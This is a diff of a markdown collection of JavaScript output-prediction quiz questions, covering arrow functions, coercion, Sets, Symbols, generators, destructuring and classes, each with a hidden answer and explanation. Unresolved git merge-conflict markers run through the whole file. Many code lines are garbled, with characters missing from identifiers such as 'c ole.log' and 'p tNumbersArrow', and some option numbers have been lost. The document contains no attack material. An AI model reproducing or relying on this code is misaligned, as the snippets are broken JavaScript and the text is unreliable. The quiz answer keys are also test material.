+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const printNumbersArrow = (first, second, first) => {
     console.log(first, second, first);
 };
 p tNumbersArrow(1, 2, 3);
 ```
 
+<<<<<<< HEAD
 -  1, 2, 3
 - 2: 3, 2, 3
 - 3: SyntaxError: Duplicate parameter name not allowed in this context
 - 4: 1, 2, 1
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1, 2, 3
+-   2: 3, 2, 3
+-   3: SyntaxError: Duplicate parameter name not allowed in this context
+-   4: 1, 2, 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 3
@@ -6550,16 +13929,32 @@ Unlike regular functions, the arrow functions doesn't not allow duplicate parame
 #### 13. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const arrowFunc = () => arguments.length;
 c ole.log(arrowFunc(1, 2, 3));
 ```
 
+<<<<<<< HEAD
 -  ReferenceError: arguments is not defined
 - 2: 3
 - 3: undefined
 - 4: null
 
 <details><summary><b>Answer</b></summary>
+=======
+-   ReferenceError: arguments is not defined
+-   2: 3
+-   3: undefined
+-   4: null
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -6569,6 +13964,10 @@ Arrow functions do not have an `arguments, super, this, or new.target` bindings.
 Where as the normal function provides the number of arguments passed to the function
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const func = function () {
     return arguments.length;
 };
@@ -6578,6 +13977,10 @@ console.log(func(1, 2, 3));
 But If you still want to use an arrow function then rest operator on arguments provides the expected arguments
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const arrowFunc = (...args) => args.length;
 console.log(arrowFunc(1, 2, 3));
 ```
@@ -6590,14 +13993,28 @@ console.log(arrowFunc(1, 2, 3));
 #### 14. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 console.log(String.prototype.trimLeft.name === 'trimLeft');
 c ole.log(String.prototype.trimLeft.name === 'trimStart');
 ```
 
+<<<<<<< HEAD
 - 1: True, False
 - 2: False, True
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1: True, False
+-   2: False, True
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -6612,6 +14029,7 @@ In order to be consistent with functions like `String.prototype.padStart`, the s
 #### 15. What is the output of below code
 
 ```js
+<<<<<<< HEAD
 c ole.log(Math.max());
 ```
 
@@ -6621,6 +14039,21 @@ c ole.log(Math.max());
 - 4: -Infinity
 
 <details><summary><b>Answer</b></summary>
+=======
+//
+c ole.log(Math.max());
+```
+
+-   undefined
+-   2: Infinity
+-   3: 0
+-   4: -Infinity
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -6636,16 +14069,32 @@ c ole.log(Math.max());
 #### 16. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 console.log(10 == [10]);
 c ole.log(10 == [[[[[[[10]]]]]]]);
 ```
 
+<<<<<<< HEAD
 -  True, True
 - 2: True, False
 - 3: False, False
 - 4: False, True
 
 <details><summary><b>Answer</b></summary>
+=======
+-   True, True
+-   2: True, False
+-   3: False, False
+-   4: False, True
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -6653,6 +14102,10 @@ c ole.log(10 == [[[[[[[10]]]]]]]);
 As per the comparison algorithm in the ECMAScript specification(ECMA-262), the above expression converted into JS as below
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 10 === Number([10].valueOf().toString()); // 10
 ```
 
@@ -6666,16 +14119,32 @@ So it doesn't matter about number brackets([]) around the number, it is always c
 #### 17. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 console.log(10 + '10');
 c ole.log(10 - '10');
 ```
 
+<<<<<<< HEAD
 -  20, 0
 - 2: 1010, 0
 - 3: 1010, 10-10
 - 4: NaN, NaN
 
 <details><summary><b>Answer</b></summary>
+=======
+-   20, 0
+-   2: 1010, 0
+-   3: 1010, 10-10
+-   4: NaN, NaN
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -6690,6 +14159,10 @@ The concatenation operator(+) is applicable for both number and string types. So
 #### 18. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 console.log([0] == false);
 if ([0]) {
     console.log("I'm True");
@@ -6698,12 +14171,24 @@ if ([0]) {
 }
 ```
 
+<<<<<<< HEAD
 -  True, I'm True
 - 2: True, I'm False
 - 3: False, I'm True
 - 4: False, I'm False
 
 <details><summary><b>Answer</b></summary>
+=======
+-   True, I'm True
+-   2: True, I'm False
+-   3: False, I'm True
+-   4: False, I'm False
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -6716,6 +14201,7 @@ In comparison operators, the expression `[0]` converted to Number([0].valueOf().
 #### 19. What is the output of below code
 
 ```js
+<<<<<<< HEAD
 c ole.log([1, 2] + [3, 4]);
 ```
 
@@ -6725,6 +14211,21 @@ c ole.log([1, 2] + [3, 4]);
 - 4: 1,23,4
 
 <details><summary><b>Answer</b></summary>
+=======
+//
+c ole.log([1, 2] + [3, 4]);
+```
+
+-   [1,2,3,4]
+-   2: [1,2][3,4]
+-   3: SyntaxError
+-   4: 1,23,4
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -6739,6 +14240,10 @@ The + operator is not meant or defined for arrays. So it converts arrays into st
 #### 20. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const numbers = new Set([1, 1, 2, 3, 4]);
 console.log(numbers);
 
@@ -6746,12 +14251,24 @@ const browser = new Set('Firefox');
 c ole.log(browser);
 ```
 
+<<<<<<< HEAD
 -  {1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
 - 2: {1, 2, 3, 4}, {"F", "i", "r", "e", "o", "x"}
 - 3: [1, 2, 3, 4], ["F", "i", "r", "e", "o", "x"]
 - 4: {1, 1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
 
 <details><summary><b>Answer</b></summary>
+=======
+-   {1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
+-   2: {1, 2, 3, 4}, {"F", "i", "r", "e", "o", "x"}
+-   3: [1, 2, 3, 4], ["F", "i", "r", "e", "o", "x"]
+-   4: {1, 1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -6766,6 +14283,7 @@ Since `Set` object is a collection of unique values, it won't allow duplicate va
 #### 21. What is the output of below code
 
 ```js
+<<<<<<< HEAD
 c ole.log(NaN === NaN);
 ```
 
@@ -6773,6 +14291,19 @@ c ole.log(NaN === NaN);
 - 2: False
 
 <details><summary><b>Answer</b></summary>
+=======
+//
+c ole.log(NaN === NaN);
+```
+
+-   1: True
+-   2: False
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -6787,16 +14318,32 @@ JavaScript follows IEEE 754 spec standards. As per this spec, NaNs are never equ
 #### 22. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let numbers = [1, 2, 3, 4, NaN];
 c ole.log(numbers.indexOf(NaN));
 ```
 
+<<<<<<< HEAD
 -  4
 - 2: NaN
 - 3: SyntaxError
 - 4: -1
 
 <details><summary><b>Answer</b></summary>
+=======
+-   4
+-   2: NaN
+-   3: SyntaxError
+-   4: -1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -6805,6 +14352,10 @@ The `indexOf` uses strict equality operator(===) internally and `NaN === NaN` ev
 But you can use `Array.prototype.findIndex` method to find out the index of NaN in an array or You can use `Array.prototype.includes` to check if NaN is present in an array or not.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let numbers = [1, 2, 3, 4, NaN];
 console.log(numbers.findIndex(Number.isNaN)); // 4
 
@@ -6819,16 +14370,32 @@ console.log(numbers.includes(NaN)); // true
 #### 23. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let [a, ...b,] = [1, 2, 3, 4, 5];
 c ole.log(a, b);
 ```
 
+<<<<<<< HEAD
 -  1, [2, 3, 4, 5]
 - 2: 1, {2, 3, 4, 5}
 - 3: SyntaxError
 - 4: 1, [2, 3, 4]
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1, [2, 3, 4, 5]
+-   2: 1, {2, 3, 4, 5}
+-   3: SyntaxError
+-   4: 1, [2, 3, 4]
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 3
@@ -6837,6 +14404,10 @@ When using rest parameters, trailing commas are not allowed and will throw a Syn
 If you remove the trailing comma then it displays 1st answer
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let [a, ...b] = [1, 2, 3, 4, 5];
 console.log(a, b); // 1, [2, 3, 4, 5]
 ```
@@ -6849,18 +14420,34 @@ console.log(a, b); // 1, [2, 3, 4, 5]
 #### 25. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 async function func() {
     return 10;
 }
 c ole.log(func());
 ```
 
+<<<<<<< HEAD
 -  Promise {\<fulfilled\>: 10}
 - 2: 10
 - 3: SyntaxError
 - 4: Promise {\<rejected\>: 10}
 
 <details><summary><b>Answer</b></summary>
+=======
+-   Promise {\<fulfilled\>: 10}
+-   2: 10
+-   3: SyntaxError
+-   4: Promise {\<rejected\>: 10}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -6869,9 +14456,14 @@ Async functions always return a promise. But even if the return value of an asyn
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function func() {
     return Promise.resolve(10);
@@ -6886,18 +14478,34 @@ function func() {
 #### 26. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 async function func() {
     await 10;
 }
 c ole.log(func());
 ```
 
+<<<<<<< HEAD
 -  Promise {\<fulfilled\>: 10}
 - 2: 10
 - 3: SyntaxError
 - 4: Promise {\<resolved\>: undefined}
 
 <details><summary><b>Answer</b></summary>
+=======
+-   Promise {\<fulfilled\>: 10}
+-   2: 10
+-   3: SyntaxError
+-   4: Promise {\<resolved\>: undefined}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -6906,9 +14514,14 @@ The await expression returns value 10 with promise resolution and the code after
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function func() {
     return Promise.resolve(10).then(() => undefined);
@@ -6924,8 +14537,13 @@ function func() {
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function delay() {
@@ -6946,12 +14564,24 @@ async function processArray(array) {
 p essArray([1, 2, 3, 4]);
 ```
 
+<<<<<<< HEAD
 -  SyntaxError
 - 2: 1, 2, 3, 4
 - 3: 4, 4, 4, 4
 - 4: 4, 3, 2, 1
 
 <details><summary><b>Answer</b></summary>
+=======
+-   SyntaxError
+-   2: 1, 2, 3, 4
+-   3: 4, 4, 4, 4
+-   4: 4, 3, 2, 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -6968,8 +14598,13 @@ Even though "processArray" is an async function, the anonymous function that we
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function delay() {
@@ -6990,12 +14625,24 @@ async function process(array) {
 p ess([1, 2, 3, 5]);
 ```
 
+<<<<<<< HEAD
 -  1 2 3 5 and Process completed!
 - 2: 5 5 5 5 and Process completed!
 - 3: Process completed! and 5 5 5 5
 - 4: Process completed! and 1 2 3 5
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1 2 3 5 and Process completed!
+-   2: 5 5 5 5 and Process completed!
+-   3: Process completed! and 5 5 5 5
+-   4: Process completed! and 1 2 3 5
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -7005,6 +14652,10 @@ The forEach method will not wait until all items are finished but it just runs t
 But you control the array sequence using for..of loop,
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 async function processArray(array) {
     for (const item of array) {
         await delayedLog(item);
@@ -7021,17 +14672,33 @@ async function processArray(array) {
 #### 29. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var set = new Set();
 set.add('+0').add('-0').add(NaN).add(undefined).add(NaN);
 c ole.log(set);
 ```
 
+<<<<<<< HEAD
 -  Set(4) {"+0", "-0", NaN, undefined}
 - 2: Set(3) {"+0", NaN, undefined}
 - 3: Set(5) {"+0", "-0", NaN, undefined, NaN}
 - 4: Set(4) {"+0", NaN, undefined, NaN}
 
 <details><summary><b>Answer</b></summary>
+=======
+-   Set(4) {"+0", "-0", NaN, undefined}
+-   2: Set(3) {"+0", NaN, undefined}
+-   3: Set(5) {"+0", "-0", NaN, undefined, NaN}
+-   4: Set(4) {"+0", NaN, undefined, NaN}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -7049,6 +14716,10 @@ Set has few exceptions from equality check,
 #### 30. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const sym1 = Symbol('one');
 const sym2 = Symbol('one');
 
@@ -7058,12 +14729,24 @@ const sym4 = Symbol.for('two');
 c oe.log(sym1 === sym2, sym3 === sym4);
 ```
 
+<<<<<<< HEAD
 -  true, true
 - 2: true, false
 - 3: false, true
 - 4: false, false
 
 <details><summary><b>Answer</b></summary>
+=======
+-   true, true
+-   2: true, false
+-   3: false, true
+-   4: false, false
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 3
@@ -7084,16 +14767,32 @@ Symbol follows below conventions,
 #### 31. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const sym1 = new Symbol('one');
 c ole.log(sym1);
 ```
 
+<<<<<<< HEAD
 -  SyntaxError
 - 2: one
 - 3: Symbol('one')
 - 4: Symbol
 
 <details><summary><b>Answer</b></summary>
+=======
+-   SyntaxError
+-   2: one
+-   3: Symbol('one')
+-   4: Symbol
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -7109,6 +14808,10 @@ c ole.log(sym1);
 #### 32. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let myNumber = 100;
 let myString = '100';
 
@@ -7125,12 +14828,24 @@ if (!typeof myString === 'number') {
 }
 ```
 
+<<<<<<< HEAD
 -  SyntaxError
 - 2: It is not a string!, It is not a number!
 - 3: It is not a string!, It is a number!
 - 4: It is a string!, It is a number!
 
 <details><summary><b>Answer</b></summary>
+=======
+-   SyntaxError
+-   2: It is not a string!, It is not a number!
+-   3: It is not a string!, It is a number!
+-   4: It is a string!, It is a number!
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -7146,16 +14861,32 @@ The return value of `typeof myNumber (OR) typeof myString` is always the truthy
 #### 33. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 console.log(JSON.stringify({ myArray: ['one', undefined, function () {}, Symbol('')] }));
 c ole.log(JSON.stringify({ [Symbol.for('one')]: 'one' }, [Symbol.for('one')]));
 ```
 
+<<<<<<< HEAD
 -  {"myArray":['one', undefined, {}, Symbol]}, {}
 - 2: {"myArray":['one', null,null,null]}, {}
 - 3: {"myArray":['one', null,null,null]}, "{ [Symbol.for('one')]: 'one' }, [Symbol.for('one')]"
 - 4: {"myArray":['one', undefined, function(){}, Symbol('')]}, {}
 
 <details><summary><b>Answer</b></summary>
+=======
+-   {"myArray":['one', undefined, {}, Symbol]}, {}
+-   2: {"myArray":['one', null,null,null]}, {}
+-   3: {"myArray":['one', null,null,null]}, "{ [Symbol.for('one')]: 'one' }, [Symbol.for('one')]"
+-   4: {"myArray":['one', undefined, function(){}, Symbol('')]}, {}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -7174,6 +14905,10 @@ The symbols has below constraints,
 #### 34. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 class A {
     constructor() {
         console.log(new.target.name);
@@ -7190,10 +14925,20 @@ new A();
 n B();
 ```
 
+<<<<<<< HEAD
 - 1: A, A
 - 2: A, B
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1: A, A
+-   2: A, B
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -7209,16 +14954,32 @@ Using constructors, `new.target` refers to the constructor (points to the class
 #### 35. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const [x, ...y,] = [1, 2, 3, 4];
 c ole.log(x, y);
 ```
 
+<<<<<<< HEAD
 -  1, [2, 3, 4]
 - 2: 1, [2, 3]
 - 3: 1, [2]
 - 4: SyntaxError
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1, [2, 3, 4]
+-   2: 1, [2, 3]
+-   3: 1, [2]
+-   4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -7234,18 +14995,34 @@ It throws a syntax error because the rest element should not have a trailing com
 #### 36. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const { a: x = 10, b: y = 20 } = { a: 30 };
 
 console.log(x);
 c ole.log(y);
 ```
 
+<<<<<<< HEAD
 -  30, 20
 - 2: 10, 20
 - 3: 10, undefined
 - 4: 30, undefined
 
 <details><summary><b>Answer</b></summary>
+=======
+-   30, 20
+-   2: 10, 20
+-   3: 10, undefined
+-   4: 30, undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -7265,14 +15042,20 @@ The object property follows below rules,
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function area({ length = 10, width = 20 }) {
     console.log(length * width);
 }
 
+<<<<<<< HEAD
 a ();
 ```
 
@@ -7282,6 +15065,20 @@ a ();
 - 4: 0
 
 <details><summary><b>Answer</b></summary>
+=======
+a();
+```
+
+-   200
+-   2: Error
+-   3: undefined
+-   4: 0
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -7294,9 +15091,14 @@ You can avoid the error with either of the below changes,
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function area({ length = 10, width = 20 }) {
     console.log(length * width);
@@ -7309,9 +15111,14 @@ area({});
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function area({ length = 10, width = 20 } = {}) {
     console.log(length * width);
@@ -7329,6 +15136,10 @@ area();
 #### 38. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const props = [
     { id: 1, name: 'John' },
     { id: 2, name: 'Jack' },
@@ -7339,12 +15150,24 @@ const [, , { name }] = props;
 c ole.log(name);
 ```
 
+<<<<<<< HEAD
 -  Tom
 - 2: Error
 - 3: undefined
 - 4: John
 
 <details><summary><b>Answer</b></summary>
+=======
+-   Tom
+-   2: Error
+-   3: undefined
+-   4: John
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -7361,8 +15184,13 @@ It is possible to combine Array and Object destructuring. In this case, the thir
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function checkType(num = 1) {
@@ -7375,12 +15203,24 @@ checkType('');
 c kType(null);
 ```
 
+<<<<<<< HEAD
 -  number, undefined, string, object
 - 2: undefined, undefined, string, object
 - 3: number, number, string, object
 - 4: number, number, number, number
 
 <details><summary><b>Answer</b></summary>
+=======
+-   number, undefined, string, object
+-   2: undefined, undefined, string, object
+-   3: number, number, string, object
+-   4: number, number, number, number
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 3
@@ -7402,8 +15242,13 @@ Hence, the result of function calls categorized as below,
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function add(item, items = []) {
@@ -7415,10 +15260,20 @@ console.log(add('Orange'));
 c ole.log(add('Apple'));
 ```
 
+<<<<<<< HEAD
 - 1: ['Orange'], ['Orange', 'Apple']
 - 2: ['Orange'], ['Apple']
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1: ['Orange'], ['Orange', 'Apple']
+-   2: ['Orange'], ['Apple']
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -7435,8 +15290,13 @@ Since the default argument is evaluated at call time, a new object is created ea
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function greet(greeting, name, message = greeting + ' ' + name) {
@@ -7447,10 +15307,20 @@ greet('Hello', 'John');
 g t('Hello', 'John', 'Good morning!');
 ```
 
+<<<<<<< HEAD
 - 1: SyntaxError
 - 2: ['Hello', 'John', 'Hello John'], ['Hello', 'John', 'Good morning!']
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1: SyntaxError
+-   2: ['Hello', 'John', 'Hello John'], ['Hello', 'John', 'Good morning!']
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -7467,8 +15337,13 @@ Since parameters defined earlier are available to later default parameters, this
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function outer(f = inner()) {
@@ -7479,10 +15354,20 @@ function outer(f = inner()) {
 o r();
 ```
 
+<<<<<<< HEAD
 - 1: ReferenceError
 - 2: Inner
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1: ReferenceError
+-   2: Inner
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -7499,8 +15384,13 @@ The functions and variables declared in the function body cannot be referred fro
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function myFun(x, y, ...manyMoreArgs) {
@@ -7511,12 +15401,24 @@ myFun(1, 2, 3, 4, 5);
 m n(1, 2);
 ```
 
+<<<<<<< HEAD
 -  [3, 4, 5], undefined
 - 2: SyntaxError
 - 3: [3, 4, 5], []
 - 4: [3, 4, 5], [undefined]
 
 <details><summary><b>Answer</b></summary>
+=======
+-   [3, 4, 5], undefined
+-   2: SyntaxError
+-   3: [3, 4, 5], []
+-   4: [3, 4, 5], [undefined]
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 3
@@ -7532,17 +15434,33 @@ The rest parameter is used to hold the remaining parameters of a function and it
 #### 44. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const obj = { key: 'value' };
 const array = [...obj];
 c ole.log(array);
 ```
 
+<<<<<<< HEAD
 -  ['key', 'value']
 - 2: TypeError
 - 3: []
 - 4: ['key']
 
 <details><summary><b>Answer</b></summary>
+=======
+-   ['key', 'value']
+-   2: TypeError
+-   3: []
+-   4: ['key']
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -7559,8 +15477,13 @@ Spread syntax can be applied only to iterable objects. By default, Objects are n
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function* myGenFunc() {
@@ -7572,12 +15495,24 @@ var myGenObj = new myGenFunc();
 c ole.log(myGenObj.next().value);
 ```
 
+<<<<<<< HEAD
 -  1
 - 2: undefined
 - 3: SyntaxError
 - 4: TypeError
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1
+-   2: undefined
+-   3: SyntaxError
+-   4: TypeError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -7594,8 +15529,13 @@ Generators are not constructible type. But if you still proceed to do, there wil
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function* yieldAndReturn() {
@@ -7610,12 +15550,24 @@ console.log(myGenObj.next());
 c ole.log(myGenObj.next());
 ```
 
+<<<<<<< HEAD
 -  { value: 1, done: false }, { value: 2, done: true }, { value: undefined, done: true }
 - 2: { value: 1, done: false }, { value: 2, done: false }, { value: undefined, done: true }
 - 3: { value: 1, done: false }, { value: 2, done: true }, { value: 3, done: true }
 - 4: { value: 1, done: false }, { value: 2, done: false }, { value: 3, done: true }
 
 <details><summary><b>Answer</b></summary>
+=======
+-   { value: 1, done: false }, { value: 2, done: true }, { value: undefined, done: true }
+-   2: { value: 1, done: false }, { value: 2, done: false }, { value: undefined, done: true }
+-   3: { value: 1, done: false }, { value: 2, done: true }, { value: 3, done: true }
+-   4: { value: 1, done: false }, { value: 2, done: false }, { value: 3, done: true }
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -7631,6 +15583,10 @@ A return statement in a generator function will make the generator finish. If a
 #### 47. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const myGenerator = (function* () {
     yield 1;
     yield 2;
@@ -7646,12 +15602,24 @@ for (const value of myGenerator) {
 }
 ```
 
+<<<<<<< HEAD
 -  1,2,3 and 1,2,3
 - 2: 1,2,3 and 4,5,6
 - 3: 1 and 1
 - 4: 1
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1,2,3 and 1,2,3
+-   2: 1,2,3 and 4,5,6
+-   3: 1 and 1
+-   4: 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -7667,14 +15635,28 @@ The generator should not be re-used once the iterator is closed. i.e, Upon exiti
 #### 48. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const num = 0o38;
 c ole.log(num);
 ```
 
+<<<<<<< HEAD
 - 1: SyntaxError
 - 2: 38
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1: SyntaxError
+-   2: 38
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -7690,6 +15672,10 @@ If you use an invalid number(outside of 0-7 range) in the octal literal, JavaScr
 #### 49. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const squareObj = new Square(10);
 console.log(squareObj.area);
 
@@ -7708,10 +15694,20 @@ class Square {
 }
 ```
 
+<<<<<<< HEAD
 - 1: 100
 - 2: ReferenceError
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1: 100
+-   2: ReferenceError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -7730,8 +15726,13 @@ Unlike function declarations, class declarations are not hoisted. i.e, First You
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function Person() {}
@@ -7752,12 +15753,24 @@ let run = Person.run;
 c ole.log(run());
 ```
 
+<<<<<<< HEAD
 -  undefined, undefined
 - 2: Person, Person
 - 3: SyntaxError
 - 4: Window, Window
 
 <details><summary><b>Answer</b></summary>
+=======
+-   undefined, undefined
+-   2: Person, Person
+-   3: SyntaxError
+-   4: Window, Window
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -7773,6 +15786,10 @@ When a regular or prototype method is called without a value for **this**, the m
 #### 51. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 class Vehicle {
     constructor(name) {
         this.name = name;
@@ -7794,12 +15811,24 @@ const car = new Car('BMW');
 c ole.log(car.start());
 ```
 
+<<<<<<< HEAD
 -  SyntaxError
 - 2: BMW vehicle started, BMW car started
 - 3: BMW car started, BMW vehicle started
 - 4: BMW car started, BMW car started
 
 <details><summary><b>Answer</b></summary>
+=======
+-   SyntaxError
+-   2: BMW vehicle started, BMW car started
+-   3: BMW car started, BMW vehicle started
+-   4: BMW car started, BMW car started
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
